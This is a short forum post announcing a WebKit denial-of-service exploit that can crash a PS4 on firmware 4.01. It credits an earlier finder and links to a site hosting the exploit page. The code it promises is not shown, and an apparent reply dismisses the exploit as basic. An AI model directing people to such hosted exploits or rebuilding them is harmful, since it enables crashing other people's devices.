PS4 4.01 Webkit DoS Exploit (Crashes Full System Sometimes)
So, I found a vulnerability (Original found by Dr_IDE) that seems to work on PS4, I modified the HTML code a little, just to make it say Webkit crash at the top and to add a "start exploit" button, and to make it more reliable on the PS4 web browser.

Anyways, I have been testing this vulnerability out and it seems to sometimes crash the entire system and requires a reboot to be usable again.

I have a video of what it did after I tried this (after 1 reboot):

For all the people who want to try it right now, EdiTzZMoDz on twitter added the exploit to his site: http://ps4.editzz.net/dos401/index.html

Here is the code:
Basic Coding.. Crashes Phones... Mean not worth the time on ps4
